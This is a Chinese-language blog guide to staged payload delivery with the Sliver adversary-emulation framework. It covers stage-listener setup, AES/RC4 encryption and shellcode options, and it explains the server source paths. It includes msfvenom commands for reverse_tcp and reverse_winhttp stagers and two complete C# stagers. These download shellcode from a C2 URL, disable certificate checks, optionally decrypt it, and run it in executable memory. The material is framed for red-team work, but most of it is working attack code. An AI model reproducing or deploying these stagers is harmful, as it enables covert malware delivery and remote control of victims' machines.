多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

Sliver Stager 分阶段投递实战指南:stage-listener 配置、Metasploit 集成与自定义 Stager 编写

Sliver Stager 分阶段投递实战指南:stage-listener 配置、Metasploit 集成与自定义 Stager 编写 网络安全【免费下载链接】sliverAdversary Emulation Framework项目地址https://gitcode.com/gh_mirrors/sl/sliver点击查看免费下载本篇技术指南完整讲解 SliverAdversary Emulation Framework中的 Stager分阶段投递机制为什么需要 Stager、meterpreter staging 协议如何工作、如何用profiles newstage-listener搭建 TCP/HTTP(S) 分阶段监听器、如何用msfvenom生成配套 stager以及如何编写自定义 Stager含加密/压缩 Stage 的完整 C# 示例。读完你可以独立搭建一套「小体积首阶段 内存加载大体积第二阶段」的投递链路并理解其底层实现原理。Overview为什么需要 StagerSliver 生成的 implant 体积通常在 10MB 左右docs/sliver-docs/pages/docs/md/Stagers.md中明确指出 payload 可以达到约 10MB。在带宽受限、文件大小受限或需要隐蔽投递的场景下直接传输这么大的文件既不灵活也不现实。Stager 方案将投递过程拆成两个阶段Stage 1stager一个体积很小的引导程序负责连接 staging server、下载第二阶段的载荷并加载到内存Stage 2真正的 implant 载荷通常是 Sliver shellcode也可以是其他格式由 staging server 下发。Sliver 支持meterpreterstaging 协议可运行于TCP和HTTP(S)之上。该协议本身非常直接先从连接上读取 Stage 2 载荷的大小对 TCP stager 而言即连接的前 4 个字节下载完整的 Stage 2 载荷按照第 1 步读到的大小分配内存并把载荷写入内存执行。搭建这套链路需要三个组成部分组成部分说明Staging Server即 Sliver server负责监听并下发 Stage 2Stage 2 载荷通常是用--format shellcode生成的 Sliver shellcodeStager由msfvenom生成或手工编写见后文 Custom Stagers⚠️ 重要前提部分 Staged payload 的生成依赖 Sliver server 上可用的交叉编译工具链尤其是共享库和非本机目标。Sliver 为大多数 Windows/Linux 目标内置了 Zig 工具链但macOS 共享库/shellcode 构建需要额外安装 osxcross。快速上手基于 Profile 搭建 Staging 监听器Sliver 通过复用Profile配置文件机制来实现 staging。Profile 本质上是 implant 的蓝图定义了可供profiles new命令复用的配置。下面的命令创建一个后续用于 staging 监听的 shellcode profilesliver profiles new --mtls 192.168.122.1 --format shellcode win-shellcode [*] Saved new profile win-shellcode sliver profiles Name Platform Command Control Debug Format Obfuscation Limitations win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled随后用stage-listener命令创建 staging 监听器并把监听器与 profile 关联sliver stage-listener --url http://192.168.122.1:1234 --profile win-shellcode [*] No builds found for profile win-shellcode, generating a new one [*] Job 1 (tcp) started sliver jobs ID Name Protocol Port 1 http tcp 1234 2 mtls tcp 8888执行后 Sliver 会自动为该 profile 生成 shellcode 构建[*] No builds found for profile win-shellcode, generating a new one并注册一个 Job 供 stager 请求。--url参数的格式约束stage-listener的--url只接受tcp://、http://和https://三种 scheme格式为scheme://IP:PORT。如果没有指定 PORT会直接报错。客户端代码在 client/command/jobs/stage.go 中解析该 URL 并取出端口任一环节缺失都会打印error parsing staging port之类的错误。从源码看 TCP Stager 监听器的实现从源码结构看stage-listener命令最终通过 gRPC 调用服务端的StartTCPStagerListenerserver/rpc/rpc-stager.go。该实现会先用checkInterface()校验传入的 Host 是否绑定在真实网卡上——如果不是则回退为绑定0.0.0.0。随后调用c2.StartTCPStagerListenerJobserver/c2/jobs.go底层由 server/c2/tcp-stager.go 的StartTCPListener/acceptConnections/handleConnection完成监听端口、接受连接、一次性conn.Write(data)写入整个 shellcode 后立即关闭连接。这也是 TCP stager 协议如此简单的原因——连接建立后服务端直接把整段 Stage 2 抛给 stager。Shellcode 格式与平台差异、调优选项Shellcode 的生成因平台而异Windowsshellcode 基于Donut生成支持下方列出的全部 shellcode 调优参数macOSdarwin/arm64与 Linuxamd64/arm64shellcode 目前仅支持--shellcode-compress其余--shellcode-*选项均为 Windows 专属。各平台通用的 shellcode 选项通过profiles new传入选项说明适用范围--shellcode-encoder应用可选的 shellcode 编码器参见shellcode-encoders命令全部--shellcode-compress启用/禁用 aPLib 压缩布尔值Windows、macOS、Linux--shellcode-entropy1无2随机名称3随机加密仅 Windows--shellcode-exitopt1退出线程2退出进程3阻塞仅 Windows--shellcode-bypass1无2失败即中止3继续仅 Windows--shellcode-headers1覆盖2保留仅 Windows--shellcode-thread将非托管 EXE 入口点作为新线程运行布尔值仅 Windows--shellcode-unicode向非托管 DLL 入口点传递 Unicode 命令行布尔值仅 Windows--shellcode-oep覆盖原始入口点uint320默认仅 WindowsWindows 调优示例sliver profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcodeLinux 示例仅支持压缩sliver profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcodeMetasploitBring Your Own Stager自带 Stager注意Sliver 的generate stager命令已被移除不再可用。请使用 Metasploit 的msfvenom生成 stager或自行编写见 Custom Stagers。仅支持在 Windows 上使用 Metasploit stagers。生成 HTTP(S) Stager若要在 Sliver 中使用 Metasploit Framework 生成的 stager通过msfconsole或msfvenom需要给stage-listener额外传入--prepend-size标志sliver stage-listener --url http://192.168.122.1:1234 --profile win-shellcode --prepend-size该标志会把载荷大小以 4 字节的形式前置拼接到最终发送给 stager 的二进制数据中——这正是 Metasploitcustom类型 payload 所要求的格式。关于--prepend-size的一个实现细节从源码看客户端在 client/command/jobs/stage.go 中对tcp://scheme总是无条件 prepend 载荷大小注释Always prepend payload size for TCP stagers而 HTTP(S) 场景下才由用户显式指定--prepend-size。服务端对应的实现是 server/rpc/rpc-generate.go 的prependPayloadSize()将uint32(len(payload))按**小端序LittleEndian**写入 4 字节再与载荷拼接。随后用msfconsole或msfvenom生成custom类型的 stager shellcode 或二进制。以下是用msfvenom生成 HTTP stager 的示例msfvenom --payload windows/x64/custom/reverse_winhttp LHOST192.168.122.1 LPORT1234 LURI/hello.woff --format raw --out /tmp/stager.bin⚠️ 兼容性备注目前custom/reverse_httppayload 与 Sliver shellcode 不兼容stager 会崩溃。请改用custom/reverse_winhttp。根据所选 payload 类型还可以指定额外选项如 HTTP 代理设置。使用msfvenom --list-options payload查看选项列表或在msfconsole中执行show advanced。生成 TCP Stager同样使用stage-listener但 scheme 换成tcp://sliver stage-listener --url tcp://192.168.122.1:1234 --profile win-shellcode --prepend-size由于要配合 Metasploit 使用--prepend-size仍然必需。msfvenom生成 TCP stager 的示例# LHOST 和 LPORT 应与 stage-listener 命令中 --url 参数保持一致 msfvenom --payload windows/x64/custom/reverse_tcp LHOST192.168.122.1 LPORT1234 --format raw --out /tmp/stager.binCustom Stagers编写你自己的引导程序编写或使用自定义 stager 时尤其是走 HTTP 协议有一个关键约束需要理解Sliver server 只会在特定 URL 上提供 Stage 2 载荷。这是因为 HTTP staging listener 复用了常规的 HTTP listener遵循与 HTTPS C2 文档 相同的程序化 HTTP 协议。默认用于获取 Stage 2 载荷的文件扩展名是.woff可以在 HTTP C2 选项中通过stager_file_ext配置项修改该配置项在 HTTPS C2 文档 中有说明stager_file_ext指定与 stager 关联的文件扩展名默认.woffstager_files则是用于 URL 中文件名段的字符串列表会与stager_file_ext拼接。因此如果你想实现自己的 HTTP stager 去拉取 Stage 2需要请求形如http://SLIVER-SERVER:STAGING-PORT/whatever.woff的 URL。从源码验证 URL 约定的处理链路服务端在 server/c2/http.go 的stagerHandler中处理这类请求——它从 URL 中解析 nonce通过db.ResourceIDByValue找到对应的 resource ID再用db.ImplantBuildByResourceID取出构建记录只有当该构建标记为build.Stage时才会用generate.ImplantFileFromBuild取出载荷返回给 stager。以下是自定义 HTTP stager 的 C# 示例。注意请按目标 CPU 架构编译 C# 代码例如/platform:x64using System; using System.Net; using System.Runtime.InteropServices; namespace SliverStager { public class Stager { private static string url http://a.bc/test.woff; [DllImport(kernel32.dll, SetLastError true, ExactSpelling true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport(kernel32.dll)] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport(kernel32.dll)] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public static void DownloadAndExecute() { ServicePointManager.ServerCertificateValidationCallback (sender, certificate, chain, sslPolicyErrors) true; System.Net.WebClient client new System.Net.WebClient(); byte[] shellcode client.DownloadData(url); IntPtr addr VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40); Marshal.Copy(shellcode, 0, addr, shellcode.Length); IntPtr hThread CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } public static void Main(String[] args) { DownloadAndExecute(); } } }这段代码展示了标准的三步 stager 流程WebClient.DownloadData拉取.woff载荷 →VirtualAlloc以MEM_COMMIT|MEM_RESERVE0x3000PAGE_EXECUTE_READWRITE0x40分配可执行内存 →CreateThread创建线程执行。注意这里为了兼容 HTTPS 场景回调中无条件接受了服务器证书。Encrypted Stage加密与压缩的 Stage 2Sliver 在分发 Stage 时支持加密和压缩。压缩选项为zlib、gzip和deflatelevel 9加密使用AES-CBC-128——由于这种加密主要用于混淆而非强安全保护Sliver 认为不需要更复杂的密码模式。除 AES 外源码中还支持RC4server/rpc/rpc-generate.go 的Encrypt函数实现了 RC4/AES 二选一RC4 key 长度须在 1~256 字节之间AES key 长度必须为 16 的倍数两者不可同时使用。加密 Stage 的启动命令示例stage-listener --url http://192.168.0.52:80 --profile win-shellcode --aes-encrypt-key D(GKbPeShVmYq3t --aes-encrypt-iv 8y/B?E(GKbPeShV参数说明--aes-encrypt-keyAES key长度必须是 16 的倍数128 位对应 16 字节--aes-encrypt-ivAES IV如果未设置则默认值为0000000000000000默认逻辑同时存在于客户端 client/command/jobs/stage.go 与服务端 server/rpc/rpc-generate.go--compress可选zlib/gzip/deflatedeflate9会回退到deflate见 server/rpc/rpc-generate.go 的Compress函数也可用--rc4-encrypt-key指定 RC4 key 代替 AES。Stage 生成完成后AES key 与 IV 会在控制台打印出来客户端在 client/command/jobs/stage.go 中输出AES KEY:/AES IV:/RC4 KEY:stager 需要用同一套参数解密。注意上述示例未包含压缩。客户端对应的加密/压缩管线实现位于 client/command/jobs/stage.go先按compress分支执行 zlib/gzip/deflate 压缩再执行 AESutil.PreludeEncrypt即纯 AES注释说明它通常用于与 Prelude 的互操作但在这里也很有用因为更高级的密码模式在 stager 中往往难以实现或 RC4util.RC4EncryptUnsafe加密。对应配套的 C# 解密 stager 完整示例注意此示例不包含压缩处理且解密逻辑会跳过前 16 字节的 IVusing System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; namespace Sliver_stager { class Program { private static string AESKey D(GKbPeShVmYq3t; private static string AESIV 8y/B?E(GKbPeShV; private static string url http://192.168.24.128:8443/test.woff; [DllImport(kernel32.dll, SetLastError true, ExactSpelling true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport(kernel32.dll)] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport(kernel32.dll)] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public static void DownloadAndExecute() { ServicePointManager.ServerCertificateValidationCallback (sender, certificate, chain, sslPolicyErrors) true; System.Net.WebClient client new System.Net.WebClient(); byte[] shellcode client.DownloadData(url); Listbyte l new Listbyte { }; for (int i 16; i shellcode.Length -1; i) { l.Add(shellcode[i]); } byte[] actual l.ToArray(); byte[] decrypted; decrypted Decrypt(actual, AESKey, AESIV); IntPtr addr VirtualAlloc(IntPtr.Zero, (uint)decrypted.Length, 0x3000, 0x40); Marshal.Copy(decrypted, 0, addr, decrypted.Length); IntPtr hThread CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } private static byte[] Decrypt(byte[] ciphertext, string AESKey, string AESIV) { byte[] key Encoding.UTF8.GetBytes(AESKey); byte[] IV Encoding.UTF8.GetBytes(AESIV); using (Aes aesAlg Aes.Create()) { aesAlg.Key key; aesAlg.IV IV; aesAlg.Padding PaddingMode.None; ICryptoTransform decryptor aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV); using (MemoryStream memoryStream new MemoryStream(ciphertext)) { using (CryptoStream cryptoStream new CryptoStream(memoryStream, decryptor, CryptoStreamMode.Write)) { cryptoStream.Write(ciphertext, 0, ciphertext.Length); return memoryStream.ToArray(); } } } } public static void Main(String[] args) { DownloadAndExecute(); } } }服务端的 Stage 生成管线源码透视从源码结构看无论是 TCP 还是 HTTP 场景Stage 2 的生成都统一走服务端 server/rpc/rpc-generate.go 的GenerateStageRPC按 profile 名从数据库加载 implant profiledb.ImplantProfileByName加载对应的 HTTP C2 配置并调用generate.GenerateConfig生成构建配置根据profile.Config.Format分发到SliverExecutable/SliverSharedLibrary/SliverArchive/SliverShellcode等生成函数shellcode 即SliverShellcode若请求带PrependSize调用prependPayloadSize前置 4 字节小端长度按需执行Compresszlib/gzip/deflate与EncryptAES/RC4通过generate.SaveStage保存 stage 构建并发布构建完成事件。这条管线同时被 TCP 与 HTTP 两种 staging 监听器复用因此无论是tcp://还是http(s)://监听你在profiles new中配置的 shellcode 调优参数、压缩与加密选项都作用于同一套 Stage 2 生成逻辑。限制与注意事项小结Metasploit stager 仅支持 Windows且custom/reverse_http与 Sliver shellcode 不兼容请使用custom/reverse_winhttpgenerate stager命令已移除stager 一律由msfvenom生成或自行编写HTTP staging 请求必须落在*.woff或stager_file_ext配置的扩展名URL 上否则服务端无法识别为 stager 请求使用 Metasploitcustompayload 时必须为stage-listener传--prepend-size若在自定义 stager 中使用了--aes-encrypt-key/--aes-encrypt-iv请确保 key 长度为 16 的倍数未设置 IV 时默认0000000000000000macOSdarwin/arm64与 Linux 平台 shellcode 仅支持--shellcode-compress其余调优选项为 Windows 专属交叉编译依赖macOS 共享库/shellcode 构建需要 osxcross其余多数 Windows/Linux 目标由 Sliver 内置的 Zig 工具链覆盖。相关文档与源码入口本文主体Stagers.mdHTTP C2 协议与stager_file_ext/stager_files配置HTTPS C2.md客户端stage-listener命令实现client/command/jobs/stage.go服务端 Stage 生成 RPC压缩/加密/大小前置server/rpc/rpc-generate.goTCP staging 监听器Job 管理server/c2/jobs.go 与 server/c2/tcp-stager.go客户端 RPC 入口与网卡校验server/rpc/rpc-stager.goHTTP Stager 请求处理.woffURL 分发server/c2/http.go赞分享网络安全【免费下载链接】sliverAdversary Emulation Framework项目地址https://gitcode.com/gh_mirrors/sl/sliver点击查看免费下载相关推荐Sliver 实战HTTP Payload Staging 分阶段投递从 Profile 构建到 Stager 落地Sliver 实战HTTP Payload Staging 分阶段投递从 Profile 构建到 Stager 落地 导读 在真实的对抗演练Adversa网络安全BYOB stager生成器原理唯一载荷前置技术防分析BYOB stager生成器原理唯一载荷前置技术防分析 在网络安全研究领域恶意代码检测与绕过始终是攻防对抗的焦点。BYOB Build Your Own B渗透测试网络安全应用安全aws apigatewayv2 get-stage 实战指南在 aws-cli 中查询 HTTP API 阶段配置aws apigatewayv2 get stage 实战指南在 aws cli 中查询 HTTP API 阶段配置 本文以 aws cli 官方示例 aws开发工具云原生运维创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表